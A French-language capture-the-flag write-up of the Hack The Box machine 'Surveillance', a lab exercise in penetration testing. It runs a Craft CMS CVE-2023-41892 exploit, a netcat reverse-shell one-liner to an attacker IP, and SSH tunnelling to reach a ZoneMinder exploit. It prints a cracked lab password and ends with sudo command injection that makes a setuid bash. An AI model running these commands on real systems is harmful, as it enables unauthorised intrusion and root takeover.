HTB: Surveillance
- Platforme: Hack The Box
- Lien: Surveillance
- Niveau: Moyen
- OS: Linux
Surveillance débute par la découverte d’une application web fonctionnant sur le port 80, où nous identifions la version du logiciel utilisé et utilisons le CVE-2023-41892 pour obtenir un accès initial. Grâce à une exploration plus poussée, nous trouvons une sauvegarde de base de données qui révèle le nom et le hash du mot de passe d’un utilisateur administrateur. Ces informations sont utilisées pour nous connecter au système par SSH, et nous découvrons un service en interne. En utilisant la redirection de port, nous accédons au service et nous tirons parti du CVE-2023-26035 pour l’exploiter. Finalement, en exploitant les vulnérabilités de certains scripts, nous élevons nos privilèges et obtenons l’accès au compte root.
Adresse IP cible - 10.10.11.245
Scanning
nmap -sC -sV -oA nmap/Surveillance 10.10.11.245
Résultats
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-14 12:04 CDT
Nmap scan report for 10.10.11.245
Host is up (0.044s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.52 seconds
Le scan révèle deux ports ouverts, 22 (SSH) et 80 (HTTP - nginx), nous sommes également redirigés vers http://surveillance.htb/
.
sudo echo "10.10.11.245 surveillance.htb" | sudo tee -a /etc/hosts
Enumération
Le site web présente une compagnie offrant des services de sécurité, mais il n’offre aucune caractéristique exploitable.
Avec Wappalyzer
nous constatons que le site utilise Craft CMS
. En parcourant le code source, nous trouvons que la version utilisée est 4.4.14
.
La recherche de vulnérabilités conduit au CVE-2023-41892 qui permet l’exécution de code à distance sans authentification. Un PoC est disponible ici .
D’après mon expérience, le PoC ci-dessus ne fonctionne pas toujours correctement, si cela vous arrive, utilisez celui-ci .
Accès Initial
Après avoir exécuté le script, nous obtenons un shell.
Il semble que nous ne soyons pas en mesure de l’améliorer, alors redirigeons-le vers un écouteur netcat.
nc -lvnp 4444
Exécutez la commande ci-dessous sur la cible (copiez-la entièrement et collez-la dans votre terminal)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.4 4444 >/tmp/f
/usr/bin/script -qc /bin/bash /dev/null
Nous sommes maintenant en mesure d’améliorer le shell que nous obtenons par l’intermédiaire de notre listener.
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl + Z
stty raw -echo; fg
stty rows 38 columns 116
Pour l’énumération du système, nous utilisons linpeas
et notons que mysql
est en cours d’exécution sur la cible.
Nous trouvons également des identifiants pour MySQL.
Après s’être connecté à MySQL, nous trouvons une base de données
craftdb
et une table nomméeusers
, mais nous ne pouvons pas déchiffrer les hashs qui s’y trouvent.
Une sauvegarde de la base de données se trouve sur la cible dans /var/www/html/craft/storage/backups/
.
L’archive est exfiltrée vers notre système, après l’avoir décompressée, nous trouvons un hash pour l’utilisateur Matthew
qui est un administrateur.
Si vous lancez
cat /etc/passwd
sur la cible, vous trouverez effectivement l’utilisateurmatthew
.
En utilisant CrackStation
nous confirmons qu’il s’agit d’un hash sha256 et nous réussissons à le craquer pour récupérer le mot de passe starcraft122490
.
Avec les identifiants matthew:starcraft122490
nous nous connectons via SSH et obtenons le drapeau user.txt
.
Redirection de port
En vérifiant les services fonctionnant sur la cible avec ss -lntp
, nous trouvons un service sur le port 8080
.
La redirection de port est ensuite utilisée pour accéder au service via un tunnel SSH.
ssh -f -N -L 5555:127.0.0.1:8080 matthew@surveillance.htb
La commande ci-dessus établit un tunnel entre notre machine et le serveur
surveillance.htb
.
Nous accédons ensuite au service en visitant localhost:5555
, et trouvons une instance ZoneMinder
.
En recherchant zoneminder exploit
nous trouvons un PoC
pour le CVE-2023-26035
qui conduit également à un RCE non authentifié.
git clone https://github.com/rvizx/CVE-2023-26035
cd CVE-2023-26035
python3 exploit.py -t <target_url> -ip <attacker-ip> -p <port>
Sur notre listener, nous obtenons un autre shell sous le nom de zoneminder
.
Elévation de Privilèges
En lançant sudo -l
, nous constatons que l’utilisateur zoneminder
peut exécuter tout ce qui correspond au motif /usr/bin/zm[a-zA-Z]*.pl
avec les privilèges sudo
sans avoir à fournir de mot de passe. De plus, n’importe quelle option peut être ajoutée aux commandes du fait du caractère générique *
.
Le script zmupdate.pl
accepte des arguments tels que --version
et --user
, il peut donc potentiellement exécuter un fichier pour nous.
echo 'cp /bin/bash /tmp/bash;chmod 4755 /tmp/bash' > /tmp/exploit.sh
chmod +x /tmp/exploit.sh
Lorsque le script
exploit.sh
sera exécuté, il créera une copie du binairebash
dans/tmp
et définira ses permissions pour qu’il puisse être exécuté avec des privilèges élevés (setuid).
Avec la substitution de commande, nous exécutons notre script via le script zmupdate.pl
.
sudo /usr/bin/zmupdate.pl --version=1 --user='$(/tmp/exploit.sh)'
Lorsque la commande est exécutée, tout ce qui est inclus dans
$(...)
est traité comme une commande à exécuter par l’interpréteur de commandes, et le résultat de cette commande remplace la substitution de commande. Dans ce cas,/tmp/exploit.sh
est un script qui crée un binaire setuid pour/bin/bash
dans le répertoire/tmp
.
Après avoir démarré une nouvelle instance de l’interpréteur de commandes bash, nous accédons à l’utilisateur root.
/tmp/bash -p
Ce défi était assez simple et montrait comment la redirection de port peut être utilisé à des fins d’exploitation. Si vous souhaitez approfondir la question du tunneling, Hack The Box propose un excellent module sur le sujet ici . Si vous souhaitez expérimenter différents outils de tunneling, vous pouvez consulter awesome-tunneling .